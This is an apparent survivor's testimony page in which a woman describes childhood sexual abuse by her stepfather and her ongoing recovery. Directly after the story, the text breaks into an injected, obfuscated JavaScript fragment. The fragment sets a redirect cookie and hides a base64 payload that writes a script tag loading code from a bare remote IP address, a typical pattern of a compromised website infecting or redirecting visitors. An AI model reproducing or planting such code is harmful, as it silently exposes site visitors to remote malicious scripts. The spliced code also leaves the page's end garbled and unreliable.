056 – Courtney R. (United States)

My name is Courtney and this is my first grade picture. This is about the time my stepfather came into my mother’s life, and forever changed mine. From the time he arrived till I was 13 he sexually abused me. I can still feel the metal rails of my youth bed in my hands as I tried to keep him from turning me over. I had to “confess” twice before one of the parish priests took me aside for counseling and told me I had to tell him to stop. I didn’t know I was allowed. My stepfather has been dead for several years now and at the end I confronted him to ask him why he did it. From within his withered, grey face, bald from the chemo, he fixed his horrible eyes on me and said “It takes two, sister.” His alcoholism and pot addiction wrecked not only his own life, but mine, my 4 siblings and my mother’s. At 42, I cannot sustain a healthy relationship and have finally realized that I need serious help to rebuild my shattered self esteem. I am getting this help, and posting my story here is just one step towards healing. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘